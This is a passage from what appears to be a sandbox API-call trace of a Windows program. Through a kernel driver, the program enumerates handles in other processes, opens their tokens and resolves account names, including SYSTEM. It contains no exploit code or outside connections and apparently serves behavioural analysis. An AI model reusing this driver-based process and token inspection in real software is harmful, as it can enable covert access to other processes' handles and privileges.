DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.900] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.900] PsReleaseProcessExitSynchronization () returned 0x2 [0137.900] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0137.900] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.900] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.900] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.900] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.900] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.900] PsAcquireProcessExitSynchronization () returned 0x0 [0137.900] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0) [0137.900] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002176f20, HandleInformation=0x0) returned 0x0 [0137.900] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.900] PsReleaseProcessExitSynchronization () returned 0x2 [0137.900] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0137.900] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.900] ObfDereferenceObject (Object=0xfffffa8002176f20) returned 0x1 [0137.900] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.900] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.900] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.900] PsAcquireProcessExitSynchronization () returned 0x0 [0137.900] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054735d0) [0137.900] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001cbd3d0, HandleInformation=0x0) returned 0x0 [0137.901] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.901] PsReleaseProcessExitSynchronization () returned 0x2 [0137.901] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0137.901] ObQueryNameString (in: Object=0xfffff8a001cbd3d0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.901] ObfDereferenceObject (Object=0xfffff8a001cbd3d0) returned 0x1 [0137.901] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.901] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.901] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb7c) returned 0xc0 [0137.901] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.901] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800217b060, HandleInformation=0x0) returned 0x0 [0137.901] ObOpenObjectByPointer (in: Object=0xfffffa800217b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.901] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x12 [0137.901] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.901] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.901] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.901] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.901] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.902] CloseHandle (hObject=0xc8) returned 1 [0137.902] CloseHandle (hObject=0xc0) returned 1 [0137.902] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.903] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.903] PsAcquireProcessExitSynchronization () returned 0x0 [0137.903] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0) [0137.903] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003568a20, HandleInformation=0x0) returned 0x0 [0137.903] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.903] PsReleaseProcessExitSynchronization () returned 0x2 [0137.903] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0137.903] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.903] ObfDereferenceObject (Object=0xfffffa8003568a20) returned 0x1 [0137.903] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.903] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.903] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0137.903] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.903] PsAcquireProcessExitSynchronization () returned 0x0 [0137.903] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0) [0137.903] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80026f13a0, HandleInformation=0x0) returned 0x0 [0137.903] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.903] PsReleaseProcessExitSynchronization () returned 0x2 [0137.903] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0137.903] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0137.903] ObfDereferenceObject (Object=0xfffffa80026f13a0) returned 0x1 [0137.903] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.903] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.903] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.903] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.903] PsAcquireProcessExitSynchronization () returned 0x0 [0137.903] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0) [0137.904] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.904] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.904] PsReleaseProcessExitSynchronization () returned 0x2 [0137.904] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0137.904] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.904] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.904] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.904] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.904] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.904] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.904] PsAcquireProcessExitSynchronization () returned 0x0 [0137.904] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0) [0137.904] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003473110, HandleInformation=0x0) returned 0x0 [0137.904] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.904] PsReleaseProcessExitSynchronization () returned 0x2 [0137.904] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0137.904] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.904] ObfDereferenceObject (Object=0xfffffa8003473110) returned 0x1 [0137.904] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.904] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.904] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.904] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.904] PsAcquireProcessExitSynchronization () returned 0x0 [0137.904] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054735d0) [0137.904] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0001f58e0, HandleInformation=0x0) returned 0x0 [0137.904] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.904] PsReleaseProcessExitSynchronization () returned 0x2 [0137.904] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0137.904] ObQueryNameString (in: Object=0xfffff8a0001f58e0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.905] ObfDereferenceObject (Object=0xfffff8a0001f58e0) returned 0x1 [0137.905] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.905] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.905] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0137.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.905] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80022bd7b0, HandleInformation=0x0) returned 0x0 [0137.905] ObOpenObjectByPointer (in: Object=0xfffffa80022bd7b0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.905] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x3b [0137.905] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.905] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.905] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.905] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.905] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.906] CloseHandle (hObject=0xc8) returned 1 [0137.906] CloseHandle (hObject=0xc0) returned 1 [0137.906] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.906] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.907] PsAcquireProcessExitSynchronization () returned 0x0 [0137.907] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0) [0137.907] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021662c0, HandleInformation=0x0) returned 0x0 [0137.907] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.907] PsReleaseProcessExitSynchronization () returned 0x2 [0137.907] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0137.907] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.907] ObfDereferenceObject (Object=0xfffffa80021662c0) returned 0x1 [0137.907] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.907] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.907] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.907] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.907] PsAcquireProcessExitSynchronization () returned 0x0 [0137.907] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0) [0137.907] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80022c2840, HandleInformation=0x0) returned 0x0 [0137.907] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.907] PsReleaseProcessExitSynchronization () returned 0x2 [0137.907] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0137.907] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.907] ObfDereferenceObject (Object=0xfffffa80022c2840) returned 0x1 [0137.907] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.907] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.907] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0137.907] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.907] PsAcquireProcessExitSynchronization () returned 0x0 [0137.907] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0) [0137.908] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0137.908] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.908] PsReleaseProcessExitSynchronization () returned 0x2 [0137.908] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0137.908] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.908] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0137.908] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.908] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.908] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.908] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.908] PsAcquireProcessExitSynchronization () returned 0x0 [0137.908] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0) [0137.908] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.908] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.908] PsReleaseProcessExitSynchronization () returned 0x2 [0137.908] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0137.908] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.908] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.908] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.908] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.908] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.908] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.908] PsAcquireProcessExitSynchronization () returned 0x0 [0137.908] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0) [0137.908] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.908] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.908] PsReleaseProcessExitSynchronization () returned 0x2 [0137.908] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0137.908] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.908] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.908] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.908] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.909] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0137.909] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.909] PsAcquireProcessExitSynchronization () returned 0x0 [0137.909] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054735d0) [0137.909] 